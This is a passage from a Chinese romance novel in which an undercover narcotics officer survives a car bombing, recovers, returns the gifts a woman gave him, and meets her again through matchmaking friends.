子弹穿进皮肉的痛让沈宗野几乎说不出话,他紧咬牙关:“快去保护董叔,我的命我自己给董叔!” 头顶的直升飞机终于来临了,盘旋着寻找降落点。 持枪的那人在犹豫,沈宗野竟然不顾生死,按着伤口从车后摇摇晃晃站起来:“你快走,去保护董叔,我能拦一会儿是一会儿!” 那人见沈宗野肩膀上、手上全是血,紧咬牙关,痛到薄唇都在打颤。他也是训练有素的人,不再纠结沈宗野,坐上盯梢人的机车大喊“走”。 沈宗野开上他们扔下的这台越野车,慢慢吞吞跟在他们后面,作势要拦截。 警察全部赶到,沈宗野装腔作势打着车轮拦他们,直到他突然在肩井处巨大的疼痛里想到一件事。 为什么他们毫不犹豫丢下这辆车了? 按犯罪者惯常的逃亡手段,这台车完全可以由一人来断后,他们为什么把断后的机会给他?在他们眼里,他本来就是个要死的人。 除非是,有炸。弹! 沈宗野只能想到这里。 持枪的特警快步冲过来将他围住,打头的应该是宁城禁毒局的。 沈宗野朝他一吼:“车上有炸。弹,快撤!” 距离董自新撤走已经有接近四十秒了。 不知道倒计时还有多少秒,这短暂的时间连拆弹组都来不及赶上前。 沈宗野直接将车掉头,去追董自新。 他知道他的时间不多了,但是他要尽力把车距拉得近一点,再近一点。 至少山中盘旋的冲击波会阻碍董自新的车轮几秒,哪怕是一秒也值得。 心里默数着倒计时,也不知道是不是他生命的倒计时。 这个时刻,沈宗野想起了他的生日。 他下个月就要过25岁的生日了。 梁然上次想帮他过的不是他自己25岁的生日。 她给他买了一块很名贵的手表,在她公寓里,他去抱葡萄时看到了。 他觉得他没有身份去戴那块表。 如果他还能活着,他会在他真正的25岁的生日那天,再看见梁然吗? 倒计时将要结束,沈宗野毫不犹豫冲向山崖。 他破开车门纵身一跃,抓住灌木,腿脚也被灌木刺穿。 那名宁城禁毒局的缉毒警察猜出他是卧底警员,也毫不犹豫冲来救他。 直到一声巨大的爆破声响,沈宗野和营救他的警察几乎是被强烈的冲击波弹到了路面上。 修长高大的身躯沉沉一摔,又狠狠弹出,鲜血一地,全都是从沈宗野肩井处,腿上那些被灌木刺穿的窟喽里喷洒出的。 世界像是静止在这一刻。 沈宗野感觉不到痛,感觉不到眼角余光里的火光冲天。 他艰难地抬起手臂,转动右手手腕上那串沉香。 那颗翡翠还是玻璃一样干净的蓝色,两条平行的裂又被摔出一条U型的裂痕,将两条不相交的裂连接在了一起。 还好,它至少没有被他糟蹋到破碎。 …… 这场抓捕因为沈宗野拼尽全力将车开远,让巨大的冲击波和回旋在山中的气流震碎了山石,阻碍了董自新的车队前行,砸中董自新一行人前车,致使董自新的车摔下山崖,两台车当场爆炸,现场抓捕到三名受伤严重的手下,事后12小时内搜出四具烧焦的尸体。 而程启天爆出的那处出货的仓库也及时被谢天明带队锁定,警方赶到时那里的贩毒成员正在转移毒。品,被当场抓获。 而那栋偏远的别墅里,余下的七名货主和七名手下全部都死于食物中毒,尸体藏于凝固的水泥中。 程启天对董自新的贩毒行为以及杀人行为供认不讳,云肖、李浩等人皆被缉拿。 宁城案缴获毒品轻松一号二十七万克,制毒化学品七百公斤,枪支三十七件。 这些全都发生在一个星期前。 南城的晴天骄阳热烈,阳光跳跃在窗台上,沈宗野在病床上躺得无聊,在看窗外斑驳摇曳的树影。 沈宗野受伤严重,失血过多,在医院抢救了五天,输了很多血才从宁城转回南城,转院的过程中伤口感染,又发起高烧,昨天才退烧醒过来。案件的扫尾工作他几乎都帮不了忙,局里要他养好伤才能归队。 谢天明走进病房里,给沈宗野带了一杯西瓜汁。 “冰的你应该能喝吧?” “就等这一口。” 沈宗野坐起身,肩井的枪口伤到冈上肌,手臂没法抬起,也没旋动,要养很久。 谢天明帮沈宗野升起床头,把小桌板放到他床上,插好吸管直接喂到沈宗野嘴边。 沈宗野偏过头:“自己来。” “我听说了一个好消息。” “找到陈沥周了?”沈宗野问。 虽然案件查得差不多了,但董自新身边的徐川至今查不到下落,陈沥周也没有消息,关于董自新与陈沥周之间到底是什么关系还无从查证。 谢天明笑:“不是,是今天有人打听你。” “梁然打电话给局里,问有个叫沈宗野的警察是不是平安。” 握着杯子的手微微停顿,加了冰的杯子外沿沁出细密的水汽。沈宗野指腹扫过,彻骨的沁凉从指尖升到心脏,那一口果汁的甜弥漫在喉间。 第77章 第77章生日 沈宗野的脸色还带着虚弱的苍白,但是眉峰挺立,轮廓硬朗,依旧不减那股英隽的正气。 他说:“她能问很正常。” “那她怎么不问我?”谢天明说。 “她也不知道你是警察。” “那怎么就知道你是?” 沈宗野不再回谢天明的话,喝着果汁,那股西瓜的清甜滑过喉头,一片沁凉。 谢天明搬出椅子坐下:“要不要我告诉梁然你受伤了,看她会不会来看你?” 沈宗野掀起眼皮,虽然如今已经结束卧底工作了,但他这一记眼神还是格外冷淡:“是我病了,不是你有病吧。” 谢天明撇撇嘴:“我跟你说,像我们这种工作性质这么特殊的娶媳妇可不好娶,你要真喜欢梁然就要勇敢点去追求人家,她现在既然关心你,你可别错过了。” “而且你肚子上还为她挨了一刀,她什么都不知道。” “我的伤是因为案子,不是因为她。”沈宗野语气平静,连刚才那股冷淡的情绪都不在了,他淡然如常地说起,“已经四个月了,我跟她早就没什么瓜葛。我带回来的盒子你记得提醒局里转交给她。” 沈宗野将梁然从前送给他的礼物全都在局里存了档,让局里退给梁然。 包括那条沉香珠串。 …… 梁然接到了这个电话,还没有下班就在接到电话时来到禁毒总局。 上次她捐款时负责接待她的女警请她到办公室坐下,将沈宗野留下的盒子递给她。 “这是我们局里的卧底警员归还给您的,感谢您对禁毒事业的支持。” 梁然还不是很清楚,直到打开盒子,看清那些物品,才了然。 初夏的空气已经十分燥热,办公室里的冷气打得足,扑面而来的空调冷风密不透风地覆在皮肤上。 梁然沉默了一会儿:“沈宗野在你们局里吗?” 女警得到叮嘱,不方便多说,只是笑了笑说不清楚。 梁然说:“他还有别的话吗?” “没有。” 梁然点了点头,在女警递来的清单上签下名字。 但她将盒子里那张20万元的支票取出来:“这个如果是你们局里还我的,那就当我为禁毒工作献的一份力,我不留。如果是沈宗野私人给我的,那就请你代为还给他吧。” 梁然离开了大楼,驱车驶出停车场,汇入车道时,她竟突然靠右,将车停靠在路边。 她想等一等,她想见一面沈宗野。 她想看一眼他是不是平安回来的;她想问一句她的出现有没有给他增加负担;更重要的,她想亲口对他说一声谢谢。 她觉得她欠他一句道歉和感谢。 梁然来的时候是下午三点,禁毒总局是五点下班。 她将车停靠在路边,打着双闪。阳光透过档风玻璃洒落在车厢里,直到刺眼的金光变作玫瑰色的霞光,温柔地染在天际。 梁然看了眼时间,18点整。 那些陆续出来的人里都没有沈宗野。 而她好像很了解他,他最初那么拒绝她时也许才是他当时真实的性格,那时他还没有把她当做向邬道的眼睛,对她的冷漠疏离都是独属于他给出的保护。 旖旎的霞光染在梁然眼底,她忽然觉得她的行为有些可笑,开车离开了这里。 回到家,梁然将盒子放在玄关柜子上。 葡萄每天对梁然回家都很高兴,但今天似乎格外兴奋,跳到玄关去抓那个盒子闻来闻去,又“砰”一声将盒子打翻到地板上。 梁然换好衣服出来,那些礼物撒了一地。 她给沈宗野买的领带装在原包装盒子里。 元旦节买的男士袖扣也在原包装盒里安放,但盖子被葡萄打翻在一旁。 还有那块他生日时她买的限量款手表。 还有那串沉香翡翠。 它原本在养香瓶里,但现在养香瓶掉在地板上摔碎了,它躺在那堆玻璃碎片中。灯光照耀下,玻璃碎片像钻石折起的光。 梁然蹲下身。 葡萄凑过来嗅,梁然怕葡萄被玻璃划伤,忙将小猫赶走。 她捡起这串沉香,尤其是那颗碎裂的翡翠珠子,它原本有两条裂。沈宗野把手串扔到她脚边那天,她捡起来时发现它的裂旁多了一条平行的裂。 而现在,这两条裂连接在了一起。 梁然不知道这条裂是葡萄摔的,还是沈宗野又在打斗中磕到的。 但都已经无所谓了,他和她的关系终止在了这个结束的案子里。 梁然不免又有些失笑,她和沈宗野有什么关系?他们充其量只是受害者和警察的关系,他对她的保护也全都出于职业素养。 梁然将东西都锁进柜子里。 吃过晚饭,她走到露台。 初夏的晚风吹着她睡衣的裙摆,高楼林立的城市在夜色下华光灿烂,梁然打开手机相册,将沈宗野的那两张照片都删除。 …… 沈宗野住了一个星期的病房自己提出出院了。 枪伤导致他左臂还不能抬动,被灌木刺穿的双腿也还没恢复力量,走路有点跛行,需要暂时借拐杖支撑。 他去了趟局里后才回到家。 他的公寓是一座临湖的高档住宅楼,环境优美,屋子是复式楼,四室两厅,楼下是他的卧室,楼上他用作了书房和健身房。 房子不便宜,他那点微薄的薪水根本买不起,是方昭意给他买的。 沈宗野11岁从美国回到沈知培身边后,方昭意就在当时男友的帮助下走出了事业低谷,情绪也走向稳定,后来又遇到更好的伴侣,帮助方昭意彻底走出人生低谷,成为一个快乐的健康的人。 沈宗野报考警校时,方昭意很生气,订了机票要让他去美国念书,方昭意不允许他继承他爸爸的职业。沈宗野还是按着心意违逆了方昭意的意愿,入读了警校。 方昭意当时很生气,气头上说如果沈宗野执意步他爸爸的后尘,她就停了他的生活费,让他把这么多年花在他身上的学费抚养费全都还给她。 她那时也许情绪又陷入了糟糕的状态,说的话口不择言,但是沈宗野竟然把他的奖学金,他寒暑假去参加格斗比赛赚的钱,还有沈知培一半的抚恤金全汇给了方昭意。 方昭意彻底愣了:“你要跟我断绝关系?” “没有,我想给你钱。”沈宗野说,“爸爸的抚恤金有一半我存进奶奶的存折里了,只能给你一半,剩下的我会再挣钱了还你。” 方昭意彻底失控了,在电话那头嚎啕大哭。 沈宗野再拨过去,方昭意的号码已经关机。 他那时十八岁,他不知道他是不是做错了,他当然不想失去妈妈,可是他不想让方昭意时时刻刻为他担心,他决定念了警校就一定会去做一名缉毒警察,他不想未来每次出任务,他的妈妈都为他提心吊胆,过不好她自己本该顺遂的生活。 也是那次,方昭意直接出现在了警校的办公室里。 她连夜飞回国,回来向他道歉,说她说的那些话都是气话,他怎么还得清她,她是生他养他的妈妈。 方昭意随了他的心,望着办公室外训练场上那些肩负沙袋在地上爬行的年轻学生,对沈宗野说:“希望你成为你自己选择的样子,妈妈祝福你。” 方昭意买下了这套公寓,每个月给沈宗野超多的生活费。 他毕业后,她给他买好车,每个月还是给他打很多生活费,也许这一笔笔钱才可以弥补她曾经在儿子最需要妈妈的时候,毅然选择退出他成长的亏欠吧。 沈宗野入职岗位的第一个月,方昭意回来看他,当时局里有个前辈的儿子被毒贩报复废掉了一条腿,局里在捐钱给那个青年装义肢,沈宗野问方昭意去美国装义肢要多少钱,方昭意说:“只要你不干警察,回美国帮我做生意,我就给你30%的股份,免费帮那个人接到美国做手术。” 沈宗野没答应,给方昭意买了生日礼物后就捐掉了他卡里全部的钱。从那以后,方昭意再也没劝过他了。 回到这个家,沈宗野掀开沙发上的防尘罩,扶着拐杖靠进沙发上。 尘埃在落地窗射进来的阳光里格外明显,一粒粒浮动在光束中。沈宗野坐在熟悉的家里,感受到了久违的放松。 他拨给了方昭意。 “喂,妈,我任务结束了。” 方昭意又惊又喜,连忙将电话换成了视频通话。 那头正是早上八点多,方昭意坐在车上,她身边是她现在的伴侣黎亚国,夫妻俩正在去公司的路上。 沈宗野和黎亚国打着招呼,喊黎叔。 方昭意见到沈宗野太高兴,牢牢注视着视频里沈宗野的脸,生怕他哪里受了伤瞒着。她让司机先去车外回避一下。 方昭意笑着流下了眼泪。 沈宗野说:“我很好,你别哭。” “把视频拿远一点,我看看你胳膊和腿。” 身为母亲,方昭意果然还是很懂沈宗野任务的危险。 沈宗野抿了抿唇,将手机拿远照着双腿。他忍着疼站起来,走动两步让手机又照到他双臂:“胳膊腿好着。” 视频照到左手时,沈宗野刻意隐藏了角度,没有照到他残缺的拇指。 方昭意又哭又笑,询问他哪天结案的,都受了什么伤没有,沈宗野都一一答着。 他这头又进来谢天明的电话,他才结束了通话。 谢天明说:“你给保安大哥打个招呼,我带人过来给你搞卫生了。”谢天明正在保安室登记。 很快,谢天明带着几个年轻同事过来给沈宗野清扫房间,一行来了六个人,十分夸张。 沈宗野:“我叫保洁就行。” “我们来都来了,一个小时给你搞定!” 来的还有档案室里一个女警,叫钱晓晴,23岁,喜欢沈宗野两年了。 她像往常一样给沈宗野带了饭。 平时在局里,沈宗野当着同事的面都说他吃过了,现在他也说刚刚吃过饭了。 钱晓晴长相文静漂亮,看起来是很温柔的气质,但性格洒脱不扭捏,唯一坚持的一件事就是等了沈宗野两年。沈宗野的态度一直都很鲜明,但她还是说是她自己等他的,跟他没关系。 屋子里全是灰,谢天明和另外三个男同事抬起沙发,将沙发上的沈宗野一并抬到了过道上,让沈宗野在这里等着。 谢天明:“晓晴,你跟沈哥聊聊吧。”他又叫住另一个女同事,“我们去把卧室收拾一下。” 那个女同事开起玩笑:“我怎么不能陪沈哥在外面聊天,你把我当男的使啊?” “那你去,我让晓晴来帮我收拾卧室。” 钱晓晴笑着戴起手套,那个女同事忙说开玩笑的,跟谢天明去了卧室。 沈宗野坐在门口看着他们忙碌,家里连水也没有,他在网上下单了水和饮料送来。 钱晓晴来到他对面,靠墙看着他的大拇指和沙发旁边的拐杖,问沈宗野:“你身体还好吗?” “已经在恢复了。” “你的手指……好可惜啊。” “我觉得没什么,不影响我生活。” 钱晓晴点了点头:“你买水跟我说啊,我下楼去买。” “买完了。”沈宗野刷着手机,视线都在屏幕上,看着工作群里以往那些消息,刻意回避和钱晓晴单独相处。 钱晓晴也没多说其他,进屋去帮大家收拾起来。 到了晚上,沈宗野门外有人在按门铃,他以为是谢天明,杵着拐杖过去开门,但门禁屏上是钱晓晴。 沈宗野打开房门,他的神态很平静。 钱晓晴拎着很多方便熟食和水果,还有一箱沉沉的牛奶。 她扬起笑对沈宗野说:“没打扰你吧,你最近腿脚不方便,冰箱里又是空的,我给你带了点熟食过来,方便你热着吃。” “我已经买了这些。” 沈宗野当然没买过,这只是他拒绝的借口。 沈宗野站在门口,根本没有让钱晓晴进去的意思。 钱晓晴的笑黯了黯:“我已经买了,你不收也是浪费,我住宿舍冰箱里也放不下这些。”她没有再强行想进入房间,把东西都放进了门口。 沈宗野说:“钱晓晴,你花了多少钱,我转给你。” 钱晓晴咬了咬唇,抬头看着沈宗野,眼神更加黯淡:“我也不是只母老虎吧,让你对我这么退避三舍。” 沈宗野很平静地面对钱晓晴黯然落寞的伤神,理智地说:“案子现在还有在逃的贩毒成员没有抓获,你不用跟我走得这么近。再者,我之前就说过我不想局里误会你。这些东西辛苦你送过来了,你以后别来了,在局里大家也正常做同事比较好。” 钱晓晴已经红起眼眶,她等了沈宗野两年,却还是等来这个一层不变的结果。 钱晓晴:“我知道你觉得你们的工作危险,不想拖累女孩子,可是我不怕被拖累嘛,是我自己愿意的。” “你别说了,我确实只把你当成同事。”沈宗野说,“这么晚了,你回去吧。” 钱晓晴说:“那我不要结果呢?” “我只要我们保持男女朋友的关系,这段关系你想怎么样对待都可以,我不用你拿什么承诺来负责,只要你接受我,哪怕一个月,半年,两年,一辈子……我自己都可以承担。” 钱晓晴很专注地说着,已经快要哭了。 沈宗野依旧还是这么理智地看着她,他的眼神平静得没有波澜,嗓音十分干脆:“不管你想要的是哪种感情模式,我觉得那个人都不会是我。你是个好女孩,抱歉,我确实只把你当作同事,这种话请你今后别再说。” 钱晓晴流着眼泪,咬了咬唇离开了。 沈宗野杵着拐杖回到卧室,给谢天明发了消息让他留意钱晓晴,人回宿舍了给他回个消息。毕竟是个女孩子,沈宗野也不想横生什么事端。 两个小时后,谢天明给沈宗野发来微信说人已经回到宿舍。 又问沈宗野:「不会是还惦记梁然吧?」 「放不下就追啊!」 沈宗野懒得回他。 只是在摁灭手机时,他下意识会习惯去拨弄右手腕的沉香和翡翠,直到触手摸空,他才淡淡地放下手。 …… 案子的扫尾工作也即将结束,除了依旧还没线索的徐川与陈沥周。 在汽车爆。炸烧毁的尸体中也检验出了董自新的DNA样本,虽然现场尸体烧毁严重,能提取出的DNA样本极少,但可以确定跟沈宗野之前暗中从董自新酒杯上保存到的DNA样本出自同一个人。 沈宗野在宁城的那批手下除了大鱼外也全部落网。 暂时留下大鱼未抓捕,是沈宗野惯常的习惯。他是个十分谨慎的人,对尚存的哪怕只是百分之一的疑点,都会留下有用的后手。 时间在忙碌的节奏中过去。 一个月后,案子彻底结束,沈宗野的腿也能行走自如,中枪的左肩虽然已经痊愈很多,但手臂还是做不到之前正常的外旋动作,还需要做康复训练。 沈宗野和谢天明的表彰大会在沈宗野生日的这天。 沈宗野穿着庄严挺括的制服,肩章上缀着二枚四角星花。他的步伐庄正,眼神坚毅,和谢天明上台领着奖,是一个个人二等功荣誉。 颁奖结束后,王有为将沈宗野叫到办公室,非常满意这次的案子,虽然卧底的时间是久了一点,但也算立了大功。 相比王有为合不拢嘴的笑,沈宗野的神态很是淡定。 王有为敛了笑,看了看沈宗野断掉大半截的大拇指,多少还是遗憾的。 “怎么破了案领了奖还不高兴?没拿一等功?” 沈宗野没说话,在木质沙发上坐下,虽然王有为是他的上级,但因为他爸爸的关系,私底下两人就是叔侄。 王有为说:“你见过哪个像你这么年轻的警察拿一等功?”他只是没将话说死,那些拿了一等功的,哪个不是躺在盒子里盖着红旗拿的,有几个能站着拿,他倒希望沈宗野永远拿不上。 “等明年吧,明年给你升到警司,毕竟你现在还太年轻了,升得太快也得考虑其他同事……” “不是这个。”沈宗野说,“今天我生日,又拿了荣誉,刚刚跟我妈连过视频了,我还想等下去看我爸爸。” 王有为点头:“我跟你一起去。” 他将一本残疾人证递给沈宗野,勉强提起低落的语气:“别嫌这个,说给你办还不让,拿着它一个月也还有点补贴,是国家该对你的补偿。哎,可惜了。”可惜当时沈宗野的断指被剁碎了,没有办法接上。 王有为本来想说伤残抚恤金也打到沈宗野工资卡里了,但他想了想说不说也没有必要,沈宗野原本就不在意这个。 …… 结束了白天的工作,晚上终于是属于沈宗野自己的时间,谢天明他们为沈宗野庆祝起生日。 他们那一队十几个人坐在包厢里,饭桌上一瓶酒也没有,全是各种果汁饮料,但气氛实在热闹。 来迟的人是江凛。 江凛穿着一件短袖衬衫,带着乔思嘉赶到包厢里。 包厢自带K歌设备,谢天明正拿着话筒带头在唱生日歌。 江凛和乔思嘉一出现,包房里的人眼睛都愣了。 因为从来没有见过这么亮眼的男女。 江凛身高腿长,长相端正帅气,气质属于冷酷的那种,但却牵着一个比他矮一截的大美女。女生肤白貌美,眼睛笑得弯成月牙,大大方方和众人打招呼。 他们一群干缉毒的哪里见过这么甜美的大美女,都把歌停下了。 沈宗野起身来接江凛和乔思嘉。 江凛上下打量着沈宗野:“还行,没缺胳膊少腿,缺一根手指,啧,可惜了,还是大拇指。” 乔思嘉用手肘撞了下江凛,提醒他收敛一下嘴巴。 沈宗野却十分不以为然地打量一眼江凛:“嗯,你也还行,皮肤晒黑了,手指这么粗糙,没少翻垃圾箱吧。听说53杀人案还没破,你是不行了。” 乔思嘉一听就明白了江凛和沈宗野相处的风格。 两人说完,江凛先笑了,沈宗野也扬起唇。 谢天明还握着话筒,也哈哈笑出声,说欢迎江凛。 江凛对乔思嘉说:“沈淮宗,我发小。” 沈淮宗是沈宗野的真名,只不过徐川还没落网,沈宗野日常生活在外还是暂时用着化名。 江凛又对沈宗野介绍:“乔思嘉,我女朋友。” 沈宗野和乔思嘉互相打了招呼。 乔思嘉整个人都是震惊的,只不过刚才进门这么多人看着,她不好意思表现出来。 她震惊沈宗野的颜值。 这人一张脸比江凛还帅,身材比江凛还要正。沈宗野只穿着简单的短袖T恤,但遮掩不住肩宽劲腰,臀和腿的比例一看就很极品。他的手臂充满了力量感的线条,但五官格外英隽,整个人只有两个字可以形容——稀有。 真是绝了,配她闺蜜刚刚好! 这么好的男人应该让闺蜜来霸占! 第78章 第78章再次相遇 沈宗野叫来服务生,让江凛把菜单给乔思嘉点菜,又对乔思嘉说他们工作原因不能喝酒,她想喝可以点。 乔思嘉觉得沈宗野还算细心。 乔思嘉笑:“我可以拍张照吗?” 沈宗野:“拍什么?” “就是大家聚会,包房里的照片嘛。”乔思嘉是想把沈宗野的照片拍给梁然看。 不过完全不知情的沈宗野说:“我给你和江凛拍张照吧。” 江凛对乔思嘉解释:“他们职业原因,拍照片不好。” 乔思嘉不解:“不都是你们同事吗?” 江凛解释:“他们干缉毒的。” 乔思嘉忽然很是觉得可惜。 干缉毒的,是她闺蜜绝对不会选择的职业。 沈宗野将果汁递给江凛,要江凛递给乔思嘉时,乔思嘉这才看见沈宗野左手的大拇指断掉了一大截。 这……是七级还是八级伤残了吧? 乔思嘉一时又多了种遗憾,这下她自然更不会把一个有残疾的人介绍给闺蜜了。 拿出来的手机被乔思嘉放下,她没再联系梁然。 大家继续唱起刚才未完的生日歌,让沈宗野吹蜡烛许愿。 在众人的热情下,沈宗野微抿薄唇,望着跳跃的烛火默许心愿,吹熄蜡烛。 几个女警帮忙切起蛋糕,递给沈宗野后优先分给乔思嘉:“美女,来,你好漂亮啊,跟你男朋友好配!” 乔思嘉很开心:“谢谢你们哦,你们好热情。” 包房里很是热闹,笑谈声,音乐声都交织在一起。 欢乐的气氛里,沈宗野和江凛坐在沙发上聊天。 沈宗野说:“你女朋友看起很不错,你好好珍惜。” 江凛好笑:“她还有个闺蜜,要我介绍给你认识?” 沈宗野淡淡说:“没必要。” 江凛只是继续笑了笑:“她闺蜜很优秀,你可别后悔。” 沈宗野薄唇微抿,毫不在意,转着杯子里的树莓汁。 江凛:“听说你在任务期间身边有个女朋友。” 沈宗野敛下薄唇边的笑,淡淡说:“信息差,是误会。” “我就提了一嘴,你这么紧张做什么。” “你哪只眼睛看到我紧张。” “那女孩做什么的?” 沈宗野不想回答。 江凛偏问:“聊聊啊,讨论案情。” 沈宗野默了片刻说:“一个受害者家属,很勇敢。” “你心动了么?”江凛问。 谢天明用蹩脚的发音在唱一首粤语歌,逗得同事们大笑,抢过话筒对他现场教学。 一片起伏的音乐声和欢笑声里,沈宗野看着杯子里流动的液体,短暂的无声代替了语言。 他和江凛是发小,即便中间有间隔很多年不在同一个城市过,却从来没有影响过两人之间的友谊。对于谢天明几次的追问,沈宗野可以掩饰,但对江凛,沈宗野没有隐瞒。 “我一直不知道她身份,一直厌恶她。但是知道她身份那瞬间,我竟然一点也不讨厌她了。” “我没见过像她这么勇敢的女孩子,她很耀眼。” “我有几次在野外蹲毒贩,躺在草地上睡,躺在草地上醒,那时一望无际的绿野真是一道好风景。”沈宗野笑了笑,“但是江凛,你知道的,月亮不会坠落在绿野上。” 江凛一时没有说话,端起杯子里的果汁和沈宗野碰。 生日聚会结束之后,沈宗野将江凛和乔思嘉送到电梯口。 江凛朝沈宗野勾起唇,那笑容有些故意:“哦,忘了告诉你,我女朋友是建筑设计师。” 沈宗野觉得江凛莫名其妙,建筑设计师了不起啊,梁然也是。 送走同事和朋友们,沈宗野回到家,将袋子放到茶几上,里面都是大家送给他的礼物。 沈宗野一件件拿出来,做到心里有数,下次大家生日好挑选还礼。 他洗完澡回到客厅,时间还早,有些睡不着。 沈宗野找出一瓶朗姆酒,倒进玻璃杯里,站到落地窗前。 他登陆着很久没有再登陆过的卧底时的微信号,找到梁然的账号。 他已经拉黑了她,朋友圈再也看不到了。 沈宗野就看她的背景图,是海岸粉色的日落,日暮初临的天空由浅蓝色过渡到梦幻的粉色。应该是他在美国时去过一次的南加州,她在美国念的大学,这张照片像是圣巴巴拉的海滩。 沈宗野喝着杯子里的酒,喉结滚动,任冰冷的酒液滑入喉咙。 …… 朝阳缓缓升起时,晨曦金光照耀整座城市,掀开新的时间新的篇章,一座城,一些人都如常运转。 盛夏的空气依旧炎热。 梁然穿着白衬衫,宽阔的五分西装短裤,新的卷发造型干练又清冷,让她整个人看起来有种高攀不起的高贵。身为老板,她到的比很多员工还要早,经过办公室时大家都向她打招呼,比她晚到的员工赶紧跑到她前面,笑着喊她一声梁总。 今天的工作也不忙,上午参加一个项目的招标,梁然已经提前两周做好了一切准备,结束后回到工作室,梁然朝气十足,反观乔思嘉倒没精打采打起哈欠。 梁然掀起眼皮,淡淡扫过乔思嘉摘下丝巾后锁骨上的草莓印:“你精力真是旺盛。” “我哪有你旺盛,你一天干这么多工作都不带累的,我好困哦。”乔思嘉直接趴到梁然的办公桌上,懒洋洋看着梁然坐在对面整理文件。 梁然:“晚上节制点,你这个状态跟我共事,五五开的股份对我不公平。” 乔思嘉又想笑又觉得不好意思:“你有没有听过一句话,打不过就加入。”乔思嘉小心翼翼地试探,“你也找个大帅比,加入恋爱的状态嘛。” 梁然都懒得回答,按了座机呼叫助理进来寄走文件。 乔思嘉有些心虚,她刚才的试探也是因为江凛昨晚回去后让她帮忙牵个线,说服梁然和他那个发小试试。 乔思嘉太了解梁然,是实在不想介绍一个干缉毒的警察坑了好闺蜜,但江凛好像很笃定的样子,搞得她也有点蠢蠢欲动。 “昨晚我跟江凛去参加他一个发小的生日聚会了,他那个发小长得超级帅,身材简直了,比我们以前画过的男模身材都绝!” 梁然正从工作里短暂停下来休息,喝着咖啡。 “那个男的是干缉毒的,听说很厉害,那间包房里的人基本上也都是干缉毒的,个个都一身正气。” 梁然握着杯柄的手微顿,不过她已经很久不会再去回想以前。 云朵颜料厂那些逃走的毒贩也都在这次的宁城专案里落网,梁幸均的案子彻底结束了。 而她也在一个多月前停在路边那场夕阳里,等过三个小时。她要给出的交代已经给过了。 梁然继续喝咖啡。 “江凛这个发小看起来比江凛还出色,我昨晚就挺想介绍给你认识的嘿嘿,但我又知道你不喜欢那种职业的人。” “不过你要不要试试看呀?我叫江凛今晚带上他发小,正好茂江路那家餐厅上了新菜,我和江凛定好了七点钟过去,包房都订好了,还是上次那间,你一起来嘛,就当是朋友聚会,见完不喜欢也没关系。” 乔思嘉生怕梁然会怪她听了男朋友的预谋出卖了闺蜜,心虚得完全像自说自话。 人都最怕空气突然安静,说完这些,乔思嘉连忙替梁然把话给接住:“你不来也没关系,我就和江凛还有他发小当聚餐了,嘿嘿,毕竟你不喜欢那种职业嘛。” 梁然挑起眉看着乔思嘉:“这个男人得多优秀,才让你在我面前说话都慌张了。” “被你看出来了?” 乔思嘉说:“这男的就是贼优秀!听说是省厅的缉毒精英,办案很厉害,拿了好多二等功呢!叫沈淮宗,昨天刚过的25岁生日,比你大三个月,个子比江凛都高一点,嘿嘿不过有点小缺憾,他大拇指在办案的时候断了一截。” 梁然的咖啡在杯子里一晃,她抬起眼。 乔思嘉连忙说:“所以我说不能把他介绍给你吧!江凛非说不试怎么知道,都怪江凛!大拇指都算七八级伤残了!我怎么能坑你。”面对梁然清冷的眼神,看过来的那股意外与平静,乔思嘉心虚得不行,“晚上你就别去了,我跟江凛去和他发小聚聚就行了,就当吃个饭了。” “哼,我家然然大天鹅是哪种青蛙都能配得上的吗!” 乔思嘉心虚地溜出了梁然的办公室。 梁然放下杯子,电脑上的微信有助理发过来要她审阅的项目书,甲方的工作群里也有艾特她的工作询问。 梁然处理着这些工作,一直到乔思嘉将改好的文件发给她,来到她办公室门口说:“那我先走了,江凛来楼下接我了。” 梁然看着乔思嘉。 她的眼神安静得像天边漂浮的云,那双漂亮的桃花眼里和以往并不一样,可是却极静默。 乔思嘉从没见过梁然这种眼神,很是愧疚,觉得被江凛坑惨了:“然然,我走了,我下午的话就是说着玩的,你别放心上。” 梁然看着空荡的门,她收起视线,关掉电脑,一直忙到现在,起身才发现双腿有些久坐的不舒服。 她看着办公桌上的鲜花,是助理摆放的洋牡丹。 一个多月前这里会出现各种各样的花,玫瑰、郁金香、蓝风铃,全都是陈沥周送的。 他现在太忙,没有再送来这些花,在手机上解释他出国在考察一个项目。 梁然不在意那些花,但是她在意陈沥周最开始没有音讯的那一个星期,直到他再次给她打来电话,她才确定他平安,才放下心。 而现在,梁然也知道她只是想说一声抱歉和谢谢,也许仅仅只是因为如此。 她离开公司,开车回到家,换了一套衣服,才重新驶向这条平坦的大道。 拥挤密集的车流让她无比缓慢地行驶在这条路上,被拉长的时间像是特意让人无比清晰地看清这场目的地。 …… 城市的夜晚绚烂无比,环境清幽的餐厅里,只有乔思嘉和江凛坐在包房。 乔思嘉看了眼手表:“然然肯定是不会来,但是你发小也不靠谱啊,都七点了也没来。” 江凛也有些失望,他以为他赌对了。 这个局是他特意组的,他告诉沈宗野今晚一起吃个饭,给他介绍一个女孩,沈宗野懒得回他。 江凛便在电话里说:“她是嘉嘉的闺蜜,也是她工作上的合伙作伴,一名优秀的建筑设计师。” 沈宗野在电话那头无动于衷。 江凛说:“她叫梁然。” 那头,沈宗野的呼吸明显一滞。 江凛挂了电话,不想听沈宗野拒绝,只等沈宗野自己想清楚。 作为这么多年的朋友,江凛很了解沈宗野,他觉得沈宗野会来。 这会儿,乔思嘉第一次对江凛感到失望,江凛自己也有点受挫,觉得都快不了解沈宗野了。 直到七点零一分,服务生打开包房的门,沈宗野出现在门里。 他今天的衣着竟比昨天生日上还要稍微正式,一件蓝色的短袖衬衫,休闲又挺括的长裤,头发干净清爽,手腕上戴着一块比昨天要昂贵的名表。他的视线紧望包房里,像是有一闪即逝的黯光。 江凛终于得意地勾起唇:“来了,坐。” 乔思嘉也忙高兴地笑了起来,解释道:“快坐,我们等你呢。不好意思,我闺蜜还有工作,没法赶过来了。我们吃吧,你看看想吃什么,今天这顿我请客。” 沈宗野接过乔思嘉递过来的菜单,他的脸色平静,翻看菜单,如常地说起:“这顿饭我请你们,庆祝你和江凛感情顺利。”他点了推荐菜,又将菜单递给乔思嘉让她加菜。 菜开始陆续上齐,已经七点半了,大家都以为梁然不会出现了,包房里也是正常地聊天谈笑,谁都没有提过梁然,乔思嘉也没有发微信问过梁然。 直到服务生将房门敲响,推开门。 梁然站在门外,像耀眼的月亮坠落人间。 她穿着一条到膝盖上的蓝色无袖裙子,一双灰色平底单鞋,拎着小巧的包包,目光穿过明亮灯光,落在沈宗野脸上,又极其自然地收起视线走进包房。 